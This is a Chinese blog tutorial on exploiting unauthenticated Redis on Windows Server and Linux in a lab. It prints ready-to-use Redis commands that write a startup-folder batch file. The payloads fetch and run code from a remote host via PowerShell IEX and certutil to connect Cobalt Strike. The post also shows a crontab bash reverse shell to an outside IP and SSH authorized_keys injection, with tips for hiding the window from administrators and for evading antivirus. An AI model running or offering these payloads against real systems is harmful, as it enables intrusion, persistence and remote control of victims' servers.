redis未授权在windows环境下的应用
2021/6/29 19:50:55
本文主要是介绍redis未授权在windows环境下的应用,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
redis未授权在windows环境下的应用
前言
Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露。root权限下也可通过写计划任务、写公钥,administrator权限下通过写开机启动项脚本来实现getshell。
场景复现
靶机:winserver2008 R2x86 192.168.203.130
跳板机:kali 192.168.203.129
第一步:
nmap扫描发现靶机开启3389、445、6379端口,考虑0708、17010、redis未授权三个漏洞达到getshell的目的。
第二步:
直接打3389的cve-2019-0708漏洞,尝试多次均蓝屏未获取到权限。 TnT
第三步:
继续打445端口的ms17010漏洞,好家伙,直接蓝屏。之前是桥接打成功了,换成nat不成功了,不知道有关系没,玄学问题,先不管了。
之前打成功的截图:
第四步:
来到本文的正题->winserver服务器下利用redis未授权写入开机启动项,利用17010或0708(如果能getshell那就直接冲了)使其重启,达到命令执行的目的
-
靶机存在redis未授权,但为windows系统:
-
在默认开机启动项目录下创建一个bat脚本,写入命令,此处以执行whoami并在桌面新建txt为例,同理可直接上线CS(有坑)
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
+OK
config set dbfilename update.bat
+OK
set shell2 "\r\n\r\nC:\Windows\System32\cmd.exe /c whoami >C:\Users\Administrator\Desktop\y.txt\r\n\r\n"
或者
set xx "\r\n\r\n powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://119.x.x.x:58086/a'))"\r\n\r\n"
或者
set x "\r\n\r\ncertutil -urlcache -split -f http://119.x.x.x/a.exe a.exe &start /b a.exe\r\n\r\n"
以上3选1
+OK
save
+OK
-
再次打蓝屏让其重启,成功执行命令:
下图为whoami写入开机启动项的截图:
下图为上线cs的命令写入开机启动项:
发现该命令框启动后一直挂在那,考虑到管理员重启后可能会发现,所以我们在exe前加一个start /b,至此命令行一闪而过并上线成功:
附踩过的几个坑
-
winserver2008R2 x64默认不开启powershell的,需要手动安装功能启用,若未启用则不能使用powershell。但手动启用后在无AV情况下,报错,估计是环境问题吧,这种只能看运气了。
-
redis里写命令要记得反斜杠是转义符,而且\r\n\r\n不能少:set xx “\r\n\r\nC:\Windows\System32\cmd.exe /c whoami > C:\Users\Administrator\Desktop\y.txt\r\n\r\n”
-
参考windows下载执行命令大全:https://www.cnblogs.com/backlion/p/7908563.html
其中有一些特殊字符,如‘%’等在redis-cli处转义并save后,开机自启路径下文件出现乱码(使用bitsadmin下载执行试了好久没成功)。总之环境问题,在没有杀软时,一个payload不行试试其他的。 -
以上操作均无杀软,通过命令行下载执行的cs上线方法大多会被杀(基于行为的),和下载的文件无关。个人掌握的免杀方法多需通过webshell上传后执行绕过,或许安装其他语言环境。如有大佬可以通过redis未授权绕过杀软的请指点下~
linux下redis未授权使用:
- 写crontab:
set x "\n* * * * * bash -i >& /dev/tcp/106.1.1.1/1236 0>&1\n" OK
config set dir /var/spool/cron/ 或者/crontabs/ OK
config set dbfilename root OK
save OK - 写公私钥:
config set dir /root/.ssh/ OK
config set dbfilename authorized_keys OK
set x "\n\n\nssh-rsa你的公钥\n\n\n" OK
save OK
总结:在无杀软、administrator权限下起的redis,有办法把它打挂(或者等到它重启)的情况下。用此法可上线。
这篇关于redis未授权在windows环境下的应用的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-09-26阿里云Redis项目实战:新手入门教程
- 2024-09-26阿里云Redis资料入门教程
- 2024-09-25阿里云Redis入门教程:快速掌握Redis的基本操作
- 2024-09-25阿里云Redis学习:新手入门教程
- 2024-09-21Redis资料入门教程:轻松掌握Redis基础知识
- 2024-09-21Redis资料:入门级用户必学教程
- 2024-09-21Redis资料:新手入门教程与实践指南
- 2024-09-20Redis教程:从入门到实践的全面指南
- 2024-09-20Redis教程:初学者快速入门指南
- 2024-09-20Redis教程:新手入门与实践指南